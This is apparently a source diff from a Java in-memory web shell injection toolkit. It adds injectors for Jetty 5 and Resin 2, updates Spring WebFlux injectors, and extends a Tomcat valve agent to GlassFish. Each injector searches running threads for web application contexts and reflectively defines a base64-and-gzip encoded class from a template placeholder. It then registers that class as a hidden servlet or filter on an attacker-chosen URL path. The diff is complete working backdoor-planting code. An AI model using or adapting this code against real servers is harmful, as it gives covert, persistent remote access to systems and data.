public class Jetty5ServletInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5ServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
Object servletHandler = getWebApplicationHandler(context);
|
||||
|
||||
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
invokeMethod(
|
||||
servletHandler,
|
||||
"addServlet",
|
||||
new Class[]{String.class, String.class, String.class},
|
||||
new Object[]{getClassName(), getUrlPattern(), getClassName()});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+270
@@ -0,0 +1,270 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2FilterInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Resin2FilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||
Object context = getApplicationFromClassLoader(classLoader);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
|
||||
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||
while (classLoader != null) {
|
||||
try {
|
||||
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||
return context;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
classLoader = classLoader.getParent();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object filter) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
ClassLoader loader = context.getClass().getClassLoader();
|
||||
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
|
||||
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
|
||||
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
|
||||
Object filterConfig = newInstance(
|
||||
qFilterConfigClass,
|
||||
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
|
||||
new Object[]{context, getClassName(), getClassName(), null});
|
||||
filters.put(getClassName(), filterConfig);
|
||||
|
||||
List filterList = (List) getFieldValue(context, "_filterList");
|
||||
if (filterList != null && !filterList.contains(filterConfig)) {
|
||||
filterList.add(filterConfig);
|
||||
}
|
||||
|
||||
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
|
||||
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
|
||||
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
|
||||
|
||||
List filterMaps = (List) getFieldValue(context, "_filterMap");
|
||||
synchronized (filterMaps) {
|
||||
filterMaps.add(0, filterMap);
|
||||
}
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance(param);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+248
@@ -0,0 +1,248 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2ServletInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Resin2ServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||
Object context = getApplicationFromClassLoader(classLoader);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
|
||||
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||
while (classLoader != null) {
|
||||
try {
|
||||
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||
return context;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
classLoader = classLoader.getParent();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object servlet) throws Exception {
|
||||
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
|
||||
for (String key : servlets.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Object servletConfig = invokeMethod(
|
||||
context,
|
||||
"addServlet",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{getClassName(), getClassName()});
|
||||
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
|
||||
invokeMethod(
|
||||
context,
|
||||
"addDispatchMap",
|
||||
new Class[]{String.class, servletConfigClass},
|
||||
new Object[]{getUrlPattern(), servletConfig});
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+1
-2
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.reactive.function.server.*;
|
||||
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
|
||||
|
||||
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector {
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
+1
-2
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.method.HandlerMethod;
|
||||
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
|
||||
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector {
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
+1
-2
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.server.WebFilter;
|
||||
import org.springframework.web.server.handler.DefaultWebFilterChain;
|
||||
import org.springframework.web.server.handler.FilteringWebHandler;
|
||||
@@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector {
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
+25
-8
@@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
|
||||
if (TARGET_METHOD_NAME.equals(name)
|
||||
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
boolean returnsInt = descriptor.endsWith(")I");
|
||||
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
|
||||
mv, argumentTypes, getClassName(), returnsInt);
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
@@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
